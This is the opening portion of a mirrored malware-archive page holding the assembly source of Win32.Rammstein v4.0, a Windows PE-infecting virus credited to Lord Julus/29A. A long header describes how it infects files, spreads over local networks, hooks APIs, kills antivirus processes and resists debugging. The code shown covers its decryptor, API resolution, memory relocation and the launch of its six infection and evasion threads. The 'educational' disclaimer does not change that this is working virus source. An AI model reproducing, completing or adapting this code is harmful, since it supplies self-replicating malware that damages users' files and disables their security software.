mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
10505 lines
457 KiB
NASM
10505 lines
457 KiB
NASM
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ
|
||
comment $
|
||
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
ÛÛß ßÛß ßÛß ßÛÛ
|
||
ÛÛ Û Û Û Û Û ÛÛ
|
||
ÛÛÛßßß ÜÛÜ Û ÛÛ
|
||
ÛÛ ßßßßÛßßßß Û Û ÛÛ
|
||
ÛÛ Û ÜÛ Û ÛÛ
|
||
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜ ÜÜÜ ÜÜÜ
|
||
Û ÜÜÜ Û Û ÜÜÜ Û Û Ü Ü Û Û Ü Ü Û Û ÜÜÜÜÛ ÜÛßÛÜ Û ÜÜÜÜÛ ÛÜ ÜÛ Û ßÛÛ Û
|
||
Û Ü ÜÜÛ Û ÜÜÜ Û Û Û Û Û Û Û Û Û ÛÜÜÜÜ Û ÛÜ ÜÛ Û ÜÜÜÛÜ ÜÛ ÛÜ Û ÛÜß Û
|
||
ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛßÛÜÛ ÛÜÜÜÜÜÛ ßßß ÛÜÜÜÜÜÛ ÛÜÜÜÛ ÛÜÛßÛÜÛ
|
||
|
||
v4.0
|
||
|
||
= Final Release =
|
||
|
||
(c) Lord Julus / 29A (Nov 2000)
|
||
|
||
|
||
===================================================================
|
||
|
||
DISCLAIMER
|
||
|
||
This is the source code of a virus. Possesing, using, spreading of
|
||
this source code, compiling and linking it, possesing, using and
|
||
spreading of the executable form is illegal and it is forbidden.
|
||
Should you do such a thing, the author may not be held responsible
|
||
for any damage that occured from the use of this source code. The
|
||
actual purpose of this source code is for educational purposes and
|
||
as an object of study. This source code comes as is and the author
|
||
cannot be held responsible for the existance of other modified
|
||
variants of this code.
|
||
|
||
====================================================================
|
||
|
||
History:
|
||
|
||
09 Sep 2000 - Today I made a small improvement. When the dropper roams
|
||
the net onto another computer it remains in the windows
|
||
dir and it represents a weak point which might be noticed
|
||
by an av. So, now, the virus will smartly remove either
|
||
the dropper or the entry in the win.ini file if one of
|
||
them is missing. If both are there, they are left alone
|
||
because they will remove eachother. Added Pstores.exe to
|
||
the black list. Thanks to Evul for pointing me out that
|
||
it is a rather peculiar file and cannot be safely
|
||
infected.
|
||
|
||
22 Jul 2000 - The virus has moved up to version 4.0. Today I added
|
||
the network infector. It comes in a separate thread.
|
||
For the moment looks like everything works fine. Will
|
||
add a timer to it so that it does not hang in huge
|
||
networks... Virus is above 13k now... Waiting for the
|
||
LZ!
|
||
|
||
18 Jul 2000 - Fixed a bug in the section increase algorithm: if you
|
||
want to have a good compatibility you NEED to place the
|
||
viral code exactly at the end of file and NOT at the
|
||
end of the VirtualSize or SizeOfRawData as it appears
|
||
in the section header, because many files get their
|
||
real size calculated at load time in some way.
|
||
HURRAY!!! YES!! I fixed a shitty bug! If you do section
|
||
add you MUST check also if any directory VA follows
|
||
immediately the last section header so that you will
|
||
not overwrite it. Now almost all files work ok under
|
||
NT!!!! However, I don't seem to be able to make
|
||
outlook.exe get infected so I put it on the black list.
|
||
The other MsOffice executables get infected correctly
|
||
on both Win9x and WinNT.
|
||
|
||
17 Jul 2000 - Have started some optimizations and proceduralizations
|
||
(;-)))). The virus is quickly going towards 13k so I
|
||
am quite anxious to implement my new LZ routine to
|
||
decrease it's size. I fixed a bug: WinNT NEEDS the
|
||
size of headers value to be aligned to file alignment.
|
||
|
||
14 Jul 2000 - Worked heavily on the WindowsNT compatibility. In this
|
||
way I was able to spot 2 bugs in the infection routine,
|
||
one regarding RVA of the new section and one regarding
|
||
the situation when the imports cannot be found by the api
|
||
hooker. Still thinking if I should rearrange relocs also?
|
||
Now files are loaded under WindowsNT (NT image is correct)
|
||
but they cannot fully initialize. Will research some
|
||
more.
|
||
|
||
03 Jun 2000 - Added an encryption layer with no key, just a rol/ror
|
||
routine on parity. Also added some MMX commands. Fixed
|
||
a few things.
|
||
|
||
22 May 2000 - Added EPO on files that have the viral code outside the
|
||
code section. Basically from now on the entry point stays
|
||
only into the code section. The epo is not actually epo,
|
||
because as I started to code it I decided to make it very
|
||
complicated so I will include the complicated part in the
|
||
next release. It will be the so called LJILE32 <Lord
|
||
Julus' Instruction Length Engine 32>. This engine will
|
||
allow me to have an exact location of the opcode for each
|
||
instruction so we will be able to look up any call, jump
|
||
or conditional jump to place our code call there. So for
|
||
this version only a jump at the original eip.
|
||
|
||
21 May 2000 - Fixed a bug in the api hooker... I forgot that some import
|
||
sections have a null pointer to names. Also added the
|
||
infection by last section increase for files who cannot
|
||
be infected otherwise. All files should be touched now.
|
||
Also I fixed the problem with the payload window not
|
||
closing after the process closed. I solved half of it
|
||
as some files like wordpad.exe still have this problem.
|
||
|
||
20 May 2000 - Prizzy helped me a lot by pointing out to me that in
|
||
order to have the copro working ok I need to save it's
|
||
environment so that the data of the victim process in
|
||
not altered. thanx!! Also fixed the cpuid read.
|
||
|
||
14 May 2000 - Released first beta version to be tested
|
||
|
||
====================================================================
|
||
Virus Name ........... Win32.Rammstein
|
||
Virus Version ........ 4.0
|
||
Virus Size ........... 14002 (debug), 15176 (release)
|
||
Virus Author ......... Lord Julus / 29A
|
||
Release Date ......... 30 Nov 2000
|
||
Virus type ........... PE infector
|
||
Target OS ............ Win95, Win98, WinNT, Win2000
|
||
Target Files ......... many PE file types:
|
||
EXE COM ACM CPL HDI OCX PCI
|
||
QTC SCR X32 CNV FMT OCM OLB WPC
|
||
Append Method ........ The virus will check wether there is enough room
|
||
for it inside the code section. If there is not
|
||
enough room the virus will be placed at end. If
|
||
there is it will be inserted inside the code
|
||
section at a random offset while the original
|
||
code will be saved at end. The placing at the end
|
||
has also two variants. If the last section is
|
||
Resources or Relocations the virus will insert a
|
||
new section before the last section and place the
|
||
data there, also rearranging the last section's
|
||
RVAs. If the last section is another section a
|
||
new section will be placed at end. The name of
|
||
the new section is a common section name which is
|
||
choosed based on the existing names so that it
|
||
does not repeat. If the virus is placed at the
|
||
end just a small EPO code is used so that the eip
|
||
stays inside the code section.
|
||
A special situation occurs if there is no enough
|
||
space to add a new section header, for example
|
||
when the code section starts at RVA 200 (end of
|
||
headers). In this situation the virus will
|
||
increase the last section in order to append.
|
||
Infect Methods ....... -Direct file attacks: the virus will attack
|
||
specific files in the windows directory, files
|
||
which are most used by people
|
||
-Directory scan: all files in the current
|
||
directory will be infected, as well as 3 files in
|
||
the system directory and 3 in the windows
|
||
directory
|
||
-Api hooking (per-process residency): the virus
|
||
hooks a few api calls and infects files as the
|
||
victim uses the apis
|
||
-Intranet spreading: the virus spreads into the
|
||
LAN using only windows apis
|
||
Features ............. Multiple threads: the virus launches a main
|
||
thread. While this thread executes, in the same
|
||
time, the original thread returns to host, so no
|
||
slowing down appears. The main viral thread
|
||
launches other 6 threads and monitors their
|
||
execution. If one of the threads is not able to
|
||
finish the system is hanged because it means
|
||
somebody tryied to patch some of the thread code.
|
||
Heavy anti-debugging: i tried to use almost all
|
||
the anti-debug and anti-emulation stuff that I
|
||
know
|
||
FPU: uses fpu instructions
|
||
Crc32 search: uses crc32 to avoid waste of space
|
||
Memory roaming: allocates virtual memory and
|
||
jumps in it
|
||
Interlaced code: this means that some threads
|
||
share the same piece of code and the virus is
|
||
careful to let only one in the same time
|
||
otherwise we get some of the variables distroyed.
|
||
Preety hard to be emulated by avs.
|
||
Also features semaphores, timers
|
||
Marks infection using the Pythagoreic numbers.
|
||
SEH: the virus creates 9 SEH handlers, for each
|
||
thread and for the main thread.
|
||
(*) Polymorphic .......... Yes (2 engines: Modularis, LJFPE32)
|
||
(*) Metamorphic .......... Yes (mild custom metamorphic engine)
|
||
Encrypted ............ Yes
|
||
Safety ............... Yes (avoids infecting many files)
|
||
Kill AV Processes .... Yes
|
||
Payload .............. On 14th every even month the infected process
|
||
will launch a thread that will display random
|
||
windows with some of the Rammstein's lyrics.
|
||
Pretty annoying... Probably this is the first
|
||
virus that actually creates real windows and
|
||
processes their messages. The windows shut down
|
||
as the victim process closes.
|
||
|
||
|
||
(*) Feature not included in this version.
|
||
|
||
Debug notes: please note that this source code features many ways of
|
||
debugging. You may turn on and off most of the virus's features by
|
||
turning some variables to TRUE or FALSE.
|
||
====================================================================
|
||
|
||
$
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
.586p ;
|
||
.model flat, stdcall ;
|
||
;
|
||
extrn MessageBoxA:proc ;
|
||
extrn ExitProcess: proc ;
|
||
;
|
||
TRUE = 1 ;
|
||
FALSE = 0 ;
|
||
DEBUG = TRUE ;debug on?
|
||
ANTIEMU = TRUE ;anti-debuggin/emulation?
|
||
JUMP = TRUE ;allocate and jump in mem?
|
||
DIRECT = TRUE ;direct action?
|
||
ANTIAV = TRUE ;anti-av feature?
|
||
APIHOOK = TRUE ;hook imported apis?
|
||
MAINTHREAD = TRUE ;launch a main thread?
|
||
PAYLOAD = TRUE ;use payload?
|
||
RANDOMIZE_ENTRY = TRUE ;randomize code sec entry?
|
||
EPO = TRUE ;Use EPO
|
||
MMX = FALSE ;
|
||
NETWORKINFECTION = TRUE ;
|
||
VIRUSNOTIFYENTRY = FALSE ;msgbox at virus start?
|
||
VIRUSNOTIFYEXIT = FALSE ;msgbox at virus end?
|
||
VIRUSNOTIFYHOOK = FALSE ;
|
||
MAINTHREADSEH = TRUE ;
|
||
THREAD1SEH = TRUE ;
|
||
THREAD2SEH = TRUE ;
|
||
THREAD3SEH = TRUE ;
|
||
THREAD4SEH = FALSE ;
|
||
THREAD5SEH = FALSE ;
|
||
THREAD6SEH = TRUE ;
|
||
CHECKSUM = TRUE ;
|
||
WE_ARE_LAST = 0 ;
|
||
RELOCATIONS_LAST = 1 ;
|
||
RESOURCES_LAST = 2 ;
|
||
NOT_AVAILABLE = 0 ;
|
||
AVAILABLE = 1 ;
|
||
METHOD_MOVE_CODE = 0 ;
|
||
METHOD_APPEND_AT_END = 1 ;
|
||
METHOD_INCREASE_LAST = 2 ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
IF MMX ;
|
||
include mmx.inc ; MMX !
|
||
ENDIF ;
|
||
;
|
||
@endsz macro ;locate end of asciiz
|
||
local nextchar ;string
|
||
;
|
||
nextchar: ;
|
||
lodsb ;
|
||
test al, al ;
|
||
jnz nextchar ;
|
||
endm ;
|
||
;
|
||
include w32nt_lj.inc ;
|
||
include w32us_lj.inc ;
|
||
;
|
||
; Credits to jp, vecna, prizzy ;calculate crc32
|
||
mCRC32 equ 0C1A7F39Ah ;
|
||
mCRC32_init equ 09C3B248Eh ;
|
||
crc32 macro string ;
|
||
crcReg = mCRC32_init ;
|
||
irpc _x,<string> ;
|
||
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
||
crcReg = crcReg shr 8 ;
|
||
rept 8 ;
|
||
ctrlByte = (ctrlByte shr 1) xor (mCRC32 * (ctrlByte and 1))
|
||
endm ;
|
||
crcReg = crcReg xor ctrlByte ;
|
||
endm ;
|
||
dd crcReg ;
|
||
endm ;
|
||
;
|
||
noter macro string ;this NOTs a string
|
||
irpc _x,<string> ;
|
||
notbyte = not('&_x&') ;
|
||
db notbyte ;
|
||
endm ;
|
||
db not(0) ;
|
||
endm ;
|
||
;
|
||
PUSH_POP STRUCT ;
|
||
pop_edi dd ? ;helps us to pop stuff...
|
||
pop_esi dd ? ;
|
||
pop_ebp dd ? ;
|
||
pop_esp dd ? ;
|
||
pop_ebx dd ? ;
|
||
pop_edx dd ? ;
|
||
pop_ecx dd ? ;
|
||
pop_eax dd ? ;
|
||
PUSH_POP ENDS ;
|
||
;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
.data ;
|
||
db 0 ;
|
||
;
|
||
.code ;
|
||
;
|
||
start: ;
|
||
IF DEBUG ;
|
||
jmp xxx ;
|
||
debug_start db 'Here is the start of the virus.',0 ;Really!! ;-)
|
||
xxx: ;
|
||
ENDIF ;
|
||
pushad ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
call getdelta ; Get the delta handle
|
||
;
|
||
getdelta: ;
|
||
pop ebp ;
|
||
sub ebp, offset getdelta ;
|
||
or ebp, ebp ;check if first gen
|
||
jnz no_first ;
|
||
mov [ebp+firstgen], 1 ;mark the first generation
|
||
jmp get_base ;
|
||
;
|
||
no_first: ;
|
||
mov [ebp+firstgen], 0 ;
|
||
;
|
||
get_base: ;
|
||
call getimagebase ; And the imagebase...
|
||
;
|
||
getimagebase: ;
|
||
pop eax ;
|
||
;
|
||
ourpoint: ;
|
||
sub eax, 1000h+(ourpoint-start)-1 ;before this eax equals
|
||
;imagebase+RVA(ourpoint)+
|
||
;RVA(code section)
|
||
;
|
||
mov dword ptr [ebp+imagebase], eax ;
|
||
mov dword ptr [ebp+ourimagebase], eax ;
|
||
jmp over_data ;
|
||
;
|
||
imagebase dd 00400000h ;
|
||
ourimagebase dd 0 ;
|
||
firstgen dd 0 ;
|
||
;
|
||
over_data: ;
|
||
cmp [ebp+firstgen], 1 ;
|
||
je EncryptedArea ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
call DecryptOffset ;very light internal
|
||
;decrypt module
|
||
DecryptOffset: ;no key, just ror/rol
|
||
pop esi ;
|
||
add esi, (EncryptedArea - DecryptOffset) ;
|
||
mov edi, esi ;
|
||
mov ecx, (end2-EncryptedArea) ;
|
||
;
|
||
DecryptLoop: ;
|
||
lodsb ;
|
||
mov ebx, ecx ;
|
||
inc bl ;
|
||
jp parity ;
|
||
ror al, cl ;
|
||
jmp do_decrypt ;
|
||
;
|
||
parity: ;
|
||
rol al, cl ;
|
||
;
|
||
do_decrypt: ;
|
||
stosb ;
|
||
loop DecryptLoop ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
EncryptedArea: ;
|
||
mov [ebp+delta], ebp ;save additional deltas
|
||
IF ANTIEMU ;
|
||
mov [ebp+delta2], ebp ;
|
||
ENDIF ;
|
||
mov eax, [ebp+imagebase] ;
|
||
mov dword ptr [ebp+adjust], eax ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
lea eax, [ebp+ExceptionExit] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
mov [ebp+copying], 0 ;reset our syncronization
|
||
mov [ebp+in_list], 0 ;variables
|
||
mov [ebp+free_routine], AVAILABLE ;
|
||
mov [ebp+crt_dir_flag], 3 ;
|
||
mov [ebp+apihookfinish], 0 ;
|
||
;
|
||
lea esi, [ebp+module_names] ;decrypt module names
|
||
mov ecx, module_names_length ;
|
||
call not_list ;
|
||
;
|
||
mov eax, [esp+28h] ;first let's locate the
|
||
lea edx, [ebp+kernel32_name] ;kernel32 base address
|
||
call LocateKernel32 ;
|
||
jc ReturnToHost ;
|
||
mov dword ptr [ebp+k32], eax ;
|
||
lea esi, dword ptr [ebp+kernel32apis] ;
|
||
lea edx, dword ptr [ebp+kernel32addr] ;
|
||
mov ecx, kernel32func ;
|
||
call LocateApis ;and kernel32 apis
|
||
jc ReturnToHost ;
|
||
;
|
||
lea edi, dword ptr [ebp+advapi32_name] ;locate advapi32
|
||
call LocateModuleBase ;
|
||
jc ReturnToHost ;
|
||
mov dword ptr [ebp+a32], eax ;
|
||
lea esi, dword ptr [ebp+advapi32apis] ;
|
||
lea edx, dword ptr [ebp+advapi32addr] ;
|
||
mov ecx, advapi32func ;
|
||
call LocateApis ;and the apis
|
||
jc ReturnToHost ;
|
||
;
|
||
lea edi, dword ptr [ebp+user32_name] ;locate user32
|
||
call LocateModuleBase ;
|
||
jc ReturnToHost ;
|
||
mov dword ptr [ebp+u32], eax ;
|
||
lea esi, dword ptr [ebp+user32apis] ;
|
||
lea edx, dword ptr [ebp+user32addr] ;
|
||
mov ecx, user32func ;
|
||
call LocateApis ;and it's apis
|
||
jc ReturnToHost ;
|
||
;
|
||
lea edi, dword ptr [ebp+gdi32_name] ;locate gdi32
|
||
call LocateModuleBase ;
|
||
jc ReturnToHost ;
|
||
mov dword ptr [ebp+g32], eax ;
|
||
lea esi, dword ptr [ebp+gdi32apis] ;
|
||
lea edx, dword ptr [ebp+gdi32addr] ;
|
||
mov ecx, gdi32func ;
|
||
call LocateApis ;and it's apis
|
||
jc ReturnToHost ;
|
||
;
|
||
lea edi, dword ptr [ebp+mpr32_name] ;locate mpr32
|
||
call LocateModuleBase ;
|
||
jc NoNetworkApis ;
|
||
mov dword ptr [ebp+m32], eax ;
|
||
lea esi, dword ptr [ebp+mpr32apis] ;
|
||
lea edx, dword ptr [ebp+mpr32addr] ;
|
||
mov ecx, mpr32func ;
|
||
call LocateApis ;and it's apis
|
||
jc NoNetworkApis ;
|
||
;
|
||
mov [ebp+netapis], TRUE ;
|
||
jmp get_img ;
|
||
;
|
||
NoNetworkApis: ;
|
||
mov [ebp+netapis], FALSE ;
|
||
;
|
||
get_img: ;
|
||
lea edi, dword ptr [ebp+img32_name] ;locate and save
|
||
call LocateModuleBase ;the checksum procedure
|
||
jc no_image ;
|
||
call @checksum ;
|
||
db "CheckSumMappedFile", 0 ;
|
||
@checksum: ;
|
||
push eax ;
|
||
call [ebp+_GetProcAddress] ;
|
||
mov [ebp+checksumfile], eax ;
|
||
;
|
||
no_image: ;
|
||
lea esi, [ebp+module_names] ;recrypt names
|
||
mov ecx, module_names_length ;
|
||
call not_list ;
|
||
;
|
||
IF VIRUSNOTIFYENTRY ;
|
||
push 0 ;
|
||
call entrytext1 ;
|
||
db 'Rammstein viral code start!', 0 ;
|
||
entrytext1: ;
|
||
call entrytext2 ;
|
||
db 'Rammstein viral code start!', 0 ;
|
||
entrytext2: ;
|
||
push 0 ;
|
||
call [ebp+_MessageBoxA] ;
|
||
ENDIF ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
call smash_dropper ;kill dropper
|
||
call getversion ;get the windoze version
|
||
;
|
||
WindowsVersion OSVERSIONINFOA <SIZE OSVERSIONINFOA>;
|
||
;
|
||
getversion: ;
|
||
call [ebp+_GetVersionExA] ;
|
||
mov byte ptr [ebp+version], al ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
mov [ebp+skipper], 0 ;
|
||
IF MMX ;
|
||
pushfd ;push flags
|
||
pop eax ;get flags
|
||
bt eax, 21h ;test for mmx presence
|
||
jnc no_mmx_present ;
|
||
mov [ebp+mmx], TRUE ;set it!
|
||
jmp done_mmx ;
|
||
;
|
||
no_mmx_present: ;
|
||
mov [ebp+mmx], FALSE ;
|
||
;
|
||
done_mmx: ;
|
||
ENDIF ;
|
||
IF JUMP ;allocate some more
|
||
;
|
||
cmp [ebp+method], METHOD_MOVE_CODE ;if code is not moved
|
||
jne restore_epo ;skip memory jump
|
||
;
|
||
call [ebp+_VirtualAlloc], 0, virussize+1000h, MEM_COMMIT+MEM_RESERVE,\
|
||
PAGE_EXECUTE_READWRITE
|
||
or eax, eax ;memory
|
||
jnz no_memory_error ;
|
||
;
|
||
call fatalexit ;we cannot continue...
|
||
db "Not enough memory!", 0 ;
|
||
;
|
||
fatalexit: ;if an error occurs, then
|
||
push 0 ;simulate a fatal exit
|
||
call [ebp+_FatalAppExitA] ;
|
||
;
|
||
no_memory_error: ;
|
||
mov [ebp+memory], eax ;otherwise copy the
|
||
lea esi, [ebp+start] ;virus to memory and
|
||
mov edi, eax ;
|
||
mov ecx, virussize ;
|
||
rep movsb ;
|
||
add eax, offset resident_area - offset start;
|
||
push eax ;
|
||
ret ;continue there...
|
||
;
|
||
restore_epo: ;
|
||
IF EPO ;
|
||
mov edi, [ebp+addressofentrypoint] ;restore epo
|
||
add edi, [ebp+imagebase] ;
|
||
lea esi, [ebp+saved_code] ;
|
||
lodsd ;
|
||
stosd ;
|
||
lodsd ;
|
||
stosd ;
|
||
ENDIF ;
|
||
;
|
||
resident_area: ;
|
||
call getdelta2 ;get delta again...
|
||
;
|
||
getdelta2: ;
|
||
pop ebp ;
|
||
sub ebp, offset getdelta2 ;
|
||
mov [ebp+delta], ebp ;
|
||
IF ANTIEMU ;
|
||
mov [ebp+delta2], ebp ;
|
||
ENDIF ;
|
||
;
|
||
cmp [ebp+firstgen], 1 ;
|
||
je grunge ;
|
||
;
|
||
cmp [ebp+method], METHOD_MOVE_CODE ;check the method
|
||
jne second_method ;
|
||
;
|
||
mov esi, [ebp+codesource] ;if here, we must move
|
||
mov edi, [ebp+codedestin] ;some code back to where
|
||
add esi, [ebp+imagebase] ;it belongs...
|
||
add edi, [ebp+imagebase] ;
|
||
mov ecx, virussize ;
|
||
rep movsb ;
|
||
;
|
||
second_method: ;
|
||
;
|
||
grunge: ;
|
||
ENDIF ;
|
||
IF MAINTHREAD ;now we launch the main
|
||
lea ebx, [ebp+mainthreadid] ;thread
|
||
lea eax, [ebp+MainThread] ;
|
||
call [ebp+_CreateThread], 0, 0, eax, ebp, 0, ebx;
|
||
cmp [ebp+firstgen], 1 ;if it is the first gen
|
||
jne do_return ;than wait for it to
|
||
call [ebp+_WaitForSingleObject], eax, INFINITE ;finish
|
||
;
|
||
do_return: ;otherwise, return to host
|
||
jmp ReturnToHost ;here...
|
||
ENDIF ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
MainThread proc ;
|
||
call @MainThreadDelta ;for our main thread get
|
||
@MainThreadDelta: ;the delta handle again
|
||
pop ebp ;
|
||
sub ebp, offset @MainThreadDelta ;
|
||
;
|
||
IF MAINTHREADSEH ;
|
||
lea eax, [ebp+MainExceptionExit] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
;
|
||
no_main_seh: ;
|
||
ENDIF ;
|
||
lea edx, [ebp+OurThreads] ;Prepare to create the
|
||
lea ebx, [ebp+OurThreadIds] ;threads...
|
||
lea edi, [ebp+OurThreadHandles] ;
|
||
mov ecx, 6 ;
|
||
;
|
||
create_loop: ;
|
||
mov eax, [edx] ;
|
||
add eax, ebp ;
|
||
call StartThread ;start them and set
|
||
add edx, 4 ;them
|
||
add ebx, 4 ;
|
||
add edi, 4 ;
|
||
loop create_loop ;
|
||
;
|
||
cmp [ebp+no_imports], TRUE ;
|
||
jne no_per_process_skip ;
|
||
mov [ebp+skipper], 1 ;
|
||
;
|
||
no_per_process_skip: ;
|
||
lea eax, [ebp+offset Semaphore] ;now prepare a semaphore
|
||
push eax ;to monitor their
|
||
push 31 ;execution
|
||
push 0 ;
|
||
push 0 ;
|
||
call [ebp+_CreateSemaphoreA] ;
|
||
mov [ebp+hsemaphore], eax ;
|
||
;
|
||
lea edi, [ebp+OurThreadHandles] ;and now start them...
|
||
mov ecx, 6 ;
|
||
;
|
||
resume_loop: ;
|
||
push ecx ;
|
||
push dword ptr [edi] ;
|
||
call [ebp+_ResumeThread] ;resume!
|
||
add edi, 4 ;
|
||
pop ecx ;
|
||
loop resume_loop ;
|
||
;
|
||
push FALSE ;Wait forever until all
|
||
push INFINITE ;threads finish...
|
||
push TRUE ;(if the mainthread is
|
||
lea eax, [ebp+offset OurThreadHandles] ;TRUE, by this time the
|
||
push eax ;host is already running
|
||
push 6 ;in parallel with this
|
||
call [ebp+_WaitForMultipleObjectsEx] ;thread)
|
||
;
|
||
lea eax, [ebp+test_semaphore] ;now get the last count
|
||
push eax ;of the semaphore...
|
||
push 1 ;Should be 6*5...
|
||
push [ebp+hsemaphore] ;
|
||
call [ebp+_ReleaseSemaphore] ;
|
||
;
|
||
push [ebp+hsemaphore] ;close semaphore
|
||
call [ebp+_CloseHandle] ;
|
||
;
|
||
mov eax, [ebp+test_semaphore] ;now get the value
|
||
mov ebx, offset where_to - offset jump ;calculate jump offset
|
||
sub ebx, 30 ;5*6
|
||
add eax, ebx ;and make a jump with it
|
||
add eax, offset jump ;If the value is smaller
|
||
add eax, ebp ;
|
||
jump: jmp eax ;then it should
|
||
jmp jump ;mean someone fucked with
|
||
jmp jump ;our threads and probably
|
||
jmp jump ;the execution falls here
|
||
jmp jump ;where it hangs... This
|
||
jmp jump ;will give the user the
|
||
jmp jump ;impression that he played
|
||
jmp jump ;with hot stuff...
|
||
;
|
||
where_to: ;
|
||
IF MAINTHREAD ;if we have a mainthread
|
||
db 0E9h ;we must kill it...
|
||
dd offset KillThread - $-4 ;
|
||
ELSE ;
|
||
db 0E9h ;otherwise, simply return
|
||
dd offset ReturnToHost - $-4 ;to host...
|
||
ENDIF ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
StartThread: ;
|
||
pusha ;here we create threads
|
||
call [ebp+_CreateThread], 0, 0, eax, ebp, CREATE_SUSPENDED, ebx
|
||
mov [edi], eax ;
|
||
push THREAD_PRIORITY_HIGHEST ;and set their priority
|
||
push dword ptr [ebx] ;
|
||
call [ebp+_SetThreadPriority] ;
|
||
popa ;
|
||
db 0c3h ;ret
|
||
ret ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
OurThreadIds: ;
|
||
Thread_1_id dd 0 ;Direct infector
|
||
Thread_2_id dd 0 ;Directory infector
|
||
Thread_3_id dd 0 ;AV killed
|
||
Thread_4_id dd 0 ;Anti-debugging
|
||
Thread_5_id dd 0 ;Api hooker
|
||
Thread_6_id dd 0 ;Network infector
|
||
;
|
||
OurThreadHandles: ;
|
||
Thread_1_handle dd 0 ;
|
||
Thread_2_handle dd 0 ;
|
||
Thread_3_handle dd 0 ;
|
||
Thread_4_handle dd 0 ;
|
||
Thread_5_handle dd 0 ;
|
||
Thread_6_handle dd 0 ;
|
||
hsemaphore dd 0 ;
|
||
